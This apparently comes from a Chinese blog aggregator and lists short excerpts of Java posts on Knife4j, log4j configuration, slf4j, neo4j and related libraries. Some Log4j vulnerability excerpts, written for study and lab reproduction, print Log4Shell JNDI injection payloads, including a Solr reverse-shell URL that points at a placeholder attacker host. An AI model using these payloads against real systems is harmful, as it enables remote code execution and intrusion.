4j

SpringBoot整合knife4j

● knife4j是一个集 Swagger2和PoenApi为一体的增强解决方案 导入依赖 <dependency> <groupId>com.github.xiaoymin</groupId> <artifactId>knife4j-spring-boot-starter</artifactId> ......
SpringBoot knife4j knife4 knife 4j

log4j2常见配置

log4j2常见配置 转载自:https://www.cnblogs.com/gavinYang/p/8168928.html 依赖jar: <dependency> <groupId>org.apache.logging.log4j</groupId> <artifactId>log4j-core ......
常见 log4j2 log4 log 4j

log4j常见配置

log4j常见配置 转载自:https://www.cnblogs.com/gavinYang/p/8168901.html 依赖jar <dependency> <groupId>log4j</groupId> <artifactId>log4j</artifactId> <version>1.2 ......
常见 log4j log4 log 4j

slf4j

日志门面Slf4j 转载自:https://zhuanlan.zhihu.com/p/394685808 Java日志的恩怨情仇 1996年早期,欧洲安全电子市场项目组决定编写它自己的程序跟踪API(Tracing API)。经过不断的完善,这个API终于成为一个十分受欢迎的Java日志软件包,即L ......
slf4j slf4 slf 4j

ES全文检索,Neo4J,activiti审批流的知识库管理系统

一、项目介绍 一款全源码,可二开,可基于云部署、私有部署的企业级知识库云平台,一款让企业知识变为实打实的数字财富的系统,应用在需要进行文档整理、分类、归集、检索、分析的场景。 获取方式+q:262086839 为什么建立知识库平台? 助力企业知识资产有效沉淀和利用,避免随文档负责人变动而重复制作,无 ......

使用 Knife4j(Swagger)工具自动生成 API 接口文档

现在的项目开发,绝大多数都已经采用前后端分离,前后端开发人员必须依靠接口文档进行协作。当前最流行的文档生成工具就是 Swagger,它是一个规范和完整的框架,用于生成、描述、调用和可视化 RESTful 风格的 Web 服务。但是本篇博客介绍的是 Knife4j ,它是集 Swagger 和 Ope ......
自动生成 接口 Knife4j Swagger 文档

log4j JNDI注入漏洞

log4j JNDI注入漏洞 一、LDAP介绍 ​ LDAP是一种协议,LDAP 的全称是 Lightweight Directory Access Protocol,轻量目录访问协议。 二、JDBC介绍 ​ JDBC是一种规范,JDBC的全称是Java数据库连接(Java Database con ......
漏洞 log4j JNDI log4 log

后端整合 Swagger + Knife4j 接口文档

接口文档: 个人理解的就是后端提供给前端,供前端查看了解数据结构,是前后端联调的基础。 Swagger + Knife4j: 引入依赖: <!--添加swagger的依赖--> <dependency> <groupId>com.github.xiaoymin</groupId> <artifact ......
接口 Swagger Knife4j 文档 Knife4

Java+proj4j实现根据EPSG编码进行坐标系转换

场景 Java+GeoTools实现WKT数据根据EPSG编码进行坐标系转换: https://blog.csdn.net/BADAO_LIUMANG_QIZHI/article/details/130370754 上面使用GeoTools实现坐标系转换。 Vue+Openlayers+proj4实 ......
坐标系 坐标 编码 proj4j proj4

利用Docx4j插件将文件word转pdf添加水印

public void testWordToPDF(HttpServletResponse response) throws Exception { String FILE_NAME = "E:\\1111.docx"; InputStream inputStream = new FileInput ......
水印 插件 文件 Docx4j Docx4

Log4j2异步日志、同步日志和混合日志的配置详解

Log4j 2中记录日志的方式有同步日志和异步日志两种方式,其中异步日志又可分为使用AsyncAppender和使用AsyncLogger两种方式。 文章目录 同步日志 混合同步和异步日志 异步日志(性能最好,推荐使用) 一、同步日志 所谓同步日志,即当输出日志时,必须等待日志输出语句执行完毕后,才 ......
日志 Log4j2 Log4 Log 4j

log4j2.properties配置

### VIDEO_CONVERSION LOG ## logger.VIDEO_CONVERSION.name = com.isprint.am.core.privpwd.videoconverter logger.VIDEO_CONVERSION.level = DEBUG logger.VID ......
properties log4j log4 log 4j

容易忽视的细节:Log4j 配置导致的零点接口严重超时

本文详细的记录了一次0点接口严重超时的问题排查经历。本文以作者自身视角极具代入感的描绘了从问题定位到具体的问题排查过程,并通过根因分析并最终解决问题。整个过程需要清晰的问题排查思路和丰富的问题处理经验,也离不开公司强大的调用链、和全方位的系统监控等基础设施。 ......
接口 细节 Log4j Log4 Log

Vulhub 漏洞学习之:Log4j

Vulhub 漏洞学习之:Log4j 1 Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645) Apache Log4j是一个用于Java的日志记录库,其支持启动远程日志服务器。Apache Log4j 2.8.2之前的2.x版本中存在安全漏洞。攻击者可利用该漏 ......
漏洞 Vulhub Log4j Log4 Log

idea本地编译报错 程序包org.slf4j不存在

idea本地编译报错 程序包org.slf4j不存在 问题描述: 从若依官网下载的项目,修改了自己的数据库连接,运行一直报错,如下(怀疑是j依赖包不全导致,期间我清空了本地mavne库重新下载依然不行): 解决办法: 参考如下: 主要原因可能有两种情况: 1.还是jar包下载失败,或者没有自动下载缺 ......
程序 slf4j idea slf4 org

Knife4j文档请求异常

通常遇到这个异常信息,都是由于在SpringBoot项目中,分不同的模块开发。 注解配置 @EnableSwagger2WebMvc不在启动类上,而是加到了其他模块的注解中导致的。 我的是common一个单独的模块,在common模块中配置了WebMvcConfig。 然后在WebMvcConfig ......
Knife4j 文档 Knife4 Knife 4j

一个基于Java线程池管理的开源框架Hippo4j实践

如果还在为线程池而烦恼,不烦试试这个开源的线程池管理框架Hippo4j;先了解其功能和总体架构,然后分别使用docker和二进制安装hippo4j-server,接着对其支持两种运行模式hippo4j-server和以Nacos为示例hippo4j-config进行代码示例和实践,并以RocketM... ......
线程 框架 Hippo4j Hippo4 Hippo

使用 snmp4j 开发 SnmpTrap V3 版本服务端

SnmpTrap snmp,是简单网络协议,snmpTrap是硬件设备遇到异常时主动推送给服务端的消息 安装好snmptrap依赖后,执行snmptrap -h,查看帮助 可以看到有3个版本,1、2c 和 3 其中1和2c使用的团体名,而3版本添加了新的认证机制 常规参数 -r 重试次数 和 -t ......
SnmpTrap 版本 snmp4j snmp4 snmp

cups+ippserver+cups4j 进行ipp 打印测试

cups 是一个打印标准,ippserver 属于一个测试mock 的ipp 服务(基于软件的),cups4j 是cups 的一个客户端 环境准备 具体配置参考github,实际配置来自ippsample 的测试配置 version: "3" services: ippserver: image: ......
cups ippserver cups4j cups4 ipp

一文读懂面试官都在问的Log4J2漏洞

CVE-2021-44228 漏洞简介 Apache Log4j2是一个基于Java的日志记录工具,当前被广泛应用于业务系统开发,开发者可以利用该工具将程序的输入输出信息进行日志记录。 2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。该漏洞是 ......
漏洞 Log4J2 Log4 Log 4J

logback&log4j2异步日志

Springboot 项目默认使用的是logback 做日志。 在qps 比较高的时候我们希望日志异步打印,同步打印日志可能造成打日志都影响性能。下面研究其用法。 1. logback 0. logback 配置 <?xml version="1.0" encoding="UTF-8"?> <con ......
logback log4j 日志 log4 amp

Spring Boot使用slf4j进行日志记录

1.1 简介在开发中,我们经常使用 System.out.println()来打印一些信息,但是这样不好,因为大量的使用 System.out 会增加资源的消耗。我们实际项目中使用的是 slf4j的logback 来输出日志,效率挺高的,Spring Boot提供了一套日志系统,logback是最优 ......
Spring slf4j 日志 Boot slf4

Springboot和swagger或者knife4j版本冲突

idea报错:Error creating bean with name 'serviceModelToOpenApiMapperImpl': 出错原因(我的是这):springboot中自带的swagger版本,和knife4j-3.0.3自带的swagger的版本出现冲突 解决:springbo ......
Springboot swagger knife4j 版本 knife4

neo4j自动关闭连接

class CypherExecutor implements AutoCloseable { private final Driver driver; public CypherExecutor(String uri, String username, String password) { thi ......
neo4j neo4 neo 4j

Docker-Neo4j

Docker-Neo4j 安装部署 Docker启动命令 mkdir -p /home/neo4j/data mkdir -p /home/neo4j/logs mkdir -p /home/neo4j/conf mkdir -p /home/neo4j/import docker run -d - ......
Docker-Neo Docker Neo 4j

Swagger knife4j响应参数不显示

问题描述 解决方法 一定要加上@Data 接口要返回实体类型 参考链接 【1】https://gitee.com/xiaoym/knife4j/issues/I2CY7K ......
参数 Swagger knife4j knife4 knife

SpringBoot打包成exe(别再用exe4j了,使用JDK自带工具)

SpringBoot打包成exe(别再用exe4j了,使用JDK自带工具) 搜到大部分打包exe的文章都是使用exe4j打包 步骤贼多,安装麻烦,打包麻烦 收费软件,公司使用会吃律师函 JDK14以上可以使用JDK自带的jpackage打包 JDK自带,一行命令搞定 生成的程序包括java环境,用户 ......
SpringBoot exe 工具 exe4j exe4

log4j2漏洞复现

【1】漏洞原理:Log4j2默认支持解析ldap/rmi协议(只要打印的日志中包括ldap/rmi协议 即可)【2】复现:(1)启动靶场环境:(2)反弹shell:http://靶机ip:8983/solr/admin/cores?action=${jndi:ldap://攻击机ip:1389/Ba ......
漏洞 log4j2 log4 log 4j

log4j2

Log4j2(CVE-2021-44228) 漏洞攻击原理 原理概述 当用户输入信息时,应用程序中的log4j2组件会将信息记录到日志中 假如日志中含有该语句${jndi:ldap:192.168.96.1:1099/exp},log4j就会去解析该信息,通过jndi的lookup()方法去解析该U ......
log4j2 log4 log 4j j2

《渗透测试》信息打点-语言框架&开发组件&FastJson&Shiro&Log4j&SpringBoot 2023 Day17

1 框架:简单代码的一个整合库,如果使用框架就只需要学习使用框架调用即可 如:文件上传功能是需要很多代码来实现的,框架把这个代码进行封封装,调用即可 影响:如果采用框架开发,代码的安全性是取决于框架的过滤机制 2 组件:第三方的功能模块(日志记录,数据监控,数据转换等) Web架构: 1、最简单最入 ......
amp SpringBoot 组件 框架 FastJson